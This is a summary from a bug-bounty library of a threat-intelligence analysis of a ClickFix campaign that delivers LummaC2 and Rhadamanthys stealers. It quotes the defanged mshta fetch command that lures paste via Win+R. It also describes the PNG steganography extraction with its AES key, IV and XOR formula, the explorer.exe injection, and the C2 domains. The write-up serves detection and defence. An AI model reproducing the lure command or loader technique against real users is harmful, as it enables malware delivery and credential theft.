# ClickFix Gets Creative: Malware Buried in Images

ClickFix lures trick Windows users into pasting an mshta command that loads a .NET stego loader extracting Donut-packed shellcode from PNG pixels to deliver LummaC2/Rhadamanthys stealers.

- Payout: Real-world hack
- Severity: high
- Program: Microsoft
- Analysis by: Huntress
- Disclosed: 2025-11-24
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/clickfix-malware-buried-in-images
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-clickfix-malware-buried-in-images
- Tags: area:os domain:desktop impact:ato impact:data-leak kind:incident platform:threat-intel sev:high tech:windows technique:chained technique:reverse-engineering technique:source-review vuln:command-injection

**Target:** Windows endpoint via mshta.exe/PowerShell/.NET loader chain
**Root cause:** Malicious shellcode is AES-encrypted and embedded in the R channel of PNG pixel data; the loader reads BGRA bytes via LockBits, XORs (255 - red) with 114 to recover shellcode, then injects it into explorer.exe.
**Steps:**
1. Victim visits ClickFix lure (fake robot check or full-screen Windows Update) that runs obfuscated JS decrypting a second stage via rolling XOR and injecting it as a Blob URL script.
2. Decrypted JS calls `navigator.clipboard.writeText()` with `mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz` (second octet hex-encoded).
3. Lure instructs victim to press Win+R, CTRL+V, Enter, executing mshta which fetches JScript that runs PowerShell from `hXXp://corezea[.]com/ebc`.
4. PowerShell strips junk code, XOR-decrypts a .NET assembly and reflectively loads it.
5. Stego loader pulls manifest resource `cd8302542f494f4d8fbcb2d21425b316`, AES-decrypts with key `909cdc682e43492e` and IV `01fe83e20bbe47f2` to a PNG.
6. Loader uses LockBits to read BGRA pixels, extracts R channel per pixel (baseIndex+2), computes shellcode byte as `114 XOR (255 - red)`, accounting for Stride padding.
7. Extracted shellcode is Donut-packed; loader decrypts, compiles and reflectively loads C# that injects into explorer.exe via VirtualAllocEx/WriteProcessMemory/CreateRemoteThread.
8. Donut shellcode unpacks final payload: LummaC2 or Rhadamanthys infostealer.
9. Attacker exfiltrates credentials/wallet data via C2 domains (e.g. hypudyk[.]shop, squatje[.]su).
**How found:** Analysts manually interacted with the lure, confirmed the clipboard command, inspected the encrypted JS source (ENC/KEY_HEX with rolling XOR), then unpacked each stage in dnSpy, recovered the AES key/IV from the config class, and reimplemented the stego algorithm in Python to extract shellcode.
**Exploitation:** Social engineering forces the victim to manually execute the mshta stager, bypassing browser/email controls; the chain then runs entirely in memory with steganographic payload hiding to evade signature detection, ending in infostealer execution and C2 exfiltration.
**Escalation:** Campaign evolved from robot-check lures to convincing full-screen fake Windows Update pages, and rotated payloads from LummaC2 to Rhadamanthys while reusing the same hex-encoded URL structure and infrastructure IP.
**Insight:** When a .NET loader references System.Drawing.Bitmap and LockBits, check per-channel pixel extraction (here R channel with XOR 114 and 255-red) and always honor Stride padding; recover AES key/IV from the config class to decrypt manifest resources.

## Proof of concept (copied exactly from the original report)

**ClickFix mshta command copied to clipboard**

```
mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz was automatically copied to the clipboard.
Inspecting the source of the ClickFix lure site reveals that a portion of the malicious JavaScript source is encrypted and only dynamically loaded upon visiting the page. This is likely an attempt to evade string-based detections.

Figure 3: Snippet of ClickFix Lure Source 
The 2nd-stage source code is stored encrypted within the ENC variable. The decryption keys are constructed from the KEY_HEX variable using the function hexToKey().

- hexToKey()-> Converts a hex string (KEY_HEX) to a Uint8Array of bytes

- b64ToUint8Array() -> Base64 decodes a string (ENC) to raw bytes and converts to Uint8Array 

- xorDecode()-> Decrypts byte array with a rolling XOR key

- uint8ToUtf8() -> Converts bytes into a UTF-8 string

- reinject() -> Replaces placeholders in the decrypted code from the URLS variable (empty) 

Figure 4: Snippet of ClickFix Lure Source

We can see that the above functions are called to decrypt and store the plaintext malicious JavaScript source code within the code variable, which will be injected using a Blob URL. Similar Blob URL injection techniques are used by the Violentmonkey project:

- Create the script as an in-memory resource:

- var blob = new Blob([code], …)- wrap the decrypted JavaScript source in a Blob object

- var blobUrl = URL.createObjectURL(blob)- Produces a blob: URL that points to an in-memory “file”

- Construct the script “s” and execute:

- var s = document.createElement(‘script’) 

- s.type = ‘text/javascript’

- s.src = blobUrl

- var head = document.head || document.documentElement;

- head.insertBefore(s, head.firstChild);
Additionally, we can see that after the script is loaded, the temporary blob: URL is revoked and removed:
s.onload = function(){ try{ URL.revokeObjectURL(blobUrl);}catch(e){} };
Inspecting the developer tools or URLScan output, we can see corresponding requests responding to the Blob URL containing the “2nd stage” malicious JavaScript:

Figure 5: Blob URL request hosting JavaScript

Figure 6: URLScan output displaying JavaScript Blob URL
This final JavaScript payload is not obfuscated. The plaintext command, mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz, copied to the clipboard using navigator.clipboard.writeText().
```

**Stego extraction XOR of red channel**

```
The outer loop iterates through rows in the y variable

- For each row, an offset rowOffset is calculated to account for Stride

- A second for loop iterates through every column value x,  calculating the baseIndex (which points to the start of the pixel data), and then adding + 2 to access the 'R' channel

- 

- The new index, for the shellcode, is calculated using y * width + x

- The encrypted shellcode bytes are extracted using the baseIndex

- These are decrypted by XORing 114 with (255 - red)
```

**Registry mitigation disabling Run box**

```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
```

